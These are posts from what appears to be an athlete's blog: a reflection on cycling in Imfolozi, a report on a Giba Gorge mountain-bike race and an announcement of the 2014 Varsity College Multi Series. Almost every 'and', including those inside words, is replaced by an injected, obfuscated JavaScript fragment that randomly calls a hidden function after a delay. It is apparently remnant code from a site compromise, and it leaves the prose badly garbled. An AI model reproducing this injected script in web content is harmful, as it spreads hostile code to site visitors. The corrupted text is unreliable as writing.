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    Imfolozi Lessons

    Written by Barry Lewin on . Posted in Coaching

    My connection with nature manifests mostly in the sea, as that where I spend most of my time. I love the freedom of the ocean andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it will be always be MY THING, but on the very rare occasion I get to head to the bush, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it always teaches me new lessons.

    Most of all nature teaches perspective andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what important to a wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andering mind. The last couple weeks have been hectic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and there is a lot in the air right now in my life, like moving house (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I still don’t have one to move to), to travel plans, to new work projects.

    The freedom of riding my bike in the pissing rain, in the middle of a wilderness area, kind of just made everything make sense again.

    No matter what it happening in your life, the thinking spaces that will help you make sense of it all will always be in nature. The more you get out in the sea for a surf, on a downwind all alone with the runs or in the mountains, the more enriched your life will be with clarity. Get out there andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and DO MORE in the open air!

    Here are some GoPro Shots from an awesome weekend.

    Varsity College Multi Series 2014 – Race 1 – Giba

    Written by Barry Lewin on . Posted in Racing

    I posted a couple weeks back (Here) on one of my favorite events for the year. I am so lucky to have the support of Varsity College as one of my awesome sponsors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is so cool to connect with them at one of their very cool events, the Multi Series which I have been doing for years.

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    I signed up for the 20km MTB race which was a blast. Thanks to brother Warrick for the loan of a bike. After the Scottbrugh to Brighton the day before I was a bit tender but being in the open air in the bush was an awesome change up for the weekend.

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    Some things really standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out for me on why I love doing different events like this andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hope some of my readers get of the couch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do the same soon.

    Venue’s/Course/Adventure

    So that’s 3 words not 1, well they all go together. The venues these vents take us to are amazing. For this weekend Giba is just 20min from my house yet far enough off the beaten track to find yourself well deep in the bush. There are so many trails at Giba to choose from on any day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the guys from the Multi Series put together a great course. Now Giba is in the bottom of a valley so it is straight up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and down, the adventure of pushing my bike over rivers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and riding some awesome single track, tick the right boxes for me on a day worth getting out of bed for. Its not easy but its not meant to be andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I like it.

    Options

    There really is something for everyone. From short to long trail runs, short to long MTB race as well as different distances in the Multisport race. With Warrior next week I am going to have enough running on my plate so decided to just tdo the MTB andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what I win getting to choose exactly what I felt like.

    The People

    These events bring together like minded, adventure orientated families from 5 year olds doing the 5km fun run to Grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dad handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding out bottles to a father andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and daughter doing the Multi X. You get to meet some awesome characters who will enrich the experience. I also got to hang out with some of the VC sport life members who took home 1st andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2nd in the Multisport race showing how strong sport at VC has become. Team Jeep were also well represented with the youngsters getting in the mix all over the place.

    Vibe

    Varsity College come hard at the event andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and from the second you arrive you know you are at a VC event with the campus’s all dressed in their respective campus colour’s, shouting encouragement from the gate to the finish line. The registration is a hive of activity with tons of people catching up after a long week of work excited about getting in the outdoors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the war stories of the trail are a plenty before the prize giving. Can’t beat it.

    The Silence

    The one thing people don’t talk about in sporting events, once the gun goes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the bunches start to split there is a great silence. I rode most of the way on the weekend on my own with the odd person passing me on the hills but in essence I spent time with my own thoughts, pushing the legs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lungs to my own rhythm. That freedom from the every day chaos is priceless andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I find it in many places, mainly in sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the outdoors. I challenge you to find some of this silence, this freedom.

    The next event of the Varsity College Multi Series on the 24th August at Virginia Farm, Eston. More info at www.maxcluer.com

    Big thanks to Varsity College for hosting the even andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and look forward to the VC vibe at the next one.

    VARSITY COLLEGE MULTI SERIES 2014

    Written by Barry Lewin on . Posted in Racing

    Some of my favourite event for the year outside of the Surfski vibe are about to start andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and am really excited my awesome sponsors Varsity College will sponsoring the Multi Series. I will be at the first event on the 20th July at Giba Gorge. Don’t miss out on these awesome family events. Check out the event poster andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and full story below:

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    Max Cluer Sports Marketing is proud to present the twelfth year of the Multi Series ! This exciting lifestyle series has grown andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and developed over the past decade andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and today offers a multitude of options for duathletes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and specialist trail runners andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mountain bikers alike. It’s really all about having fun in beautiful environments with your friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and like- minded energetic outdoor people.

    Varsity College moves into their third year as title sponsor to the series. Varsity College, an educational brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of the IIE, is a dynamic young brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and making it perfect partner to the Multi Series with its focus on a healthy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and energetic lifestyle.

    Carole Adam, National Sports Manager at Varsity College commented , “Varsity College is the proud title sponsor of the Multi Series andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has a Sports Life initiative at each campus which encourages students to get involved in healthy outdoor lifestyle-orientated sports such as MTB, Canoeing, Trial Running, Surfing etc. The Multi Series is a great fit to take our Sports Life vision to the next level!”

    The Multi Series is designed around the family, it’s all about getting out there andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and having fun. Mountain Biking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Trail Running make up the two core disciplines. The venues are beautiful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and safe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and make for a fantastic day out. Participants can compete or take part in various formats, as an individual or as a team. The Full Distance event is geared for the weekend warriors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the racing athletes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a half distance event for the younger generation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and less experienced, the perfect platform to learn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get involved before taking it to the next level.

    The first event takes place on the 20 July at Giba Gorge. With the second series on the 24 August at Virginia Trails in Eston. The third andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and final series on the 21 September at Baynesfields.

    Participants may choose between the MULTICROSS, MTB andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and TRAIL RUN SERIES. The full course MULTICROSS comprises a 5km trail run, 19km MTB andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 2.5km trail run while the short course is made up of a 2.5km trail run, 10km MTB andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 1.25km trail run. The standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and alone Mountain Bike series offers a 40km Classic, 19km andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 10km, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the TRAIL RUN options include 15km andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 5km fun run/walk.

    With catering andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beverages on offer, ablution facilities with hot showers, medical andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and safety standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andards to spec, Max Cluer Sports Marketing strive to offer their participants a value for money package andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a ‘feel good’ experience. Bring your mountain bike andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and helmet, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and running shoes for a great day of fun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exercise with family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends.

    For more information visit www.maxcluer.com.

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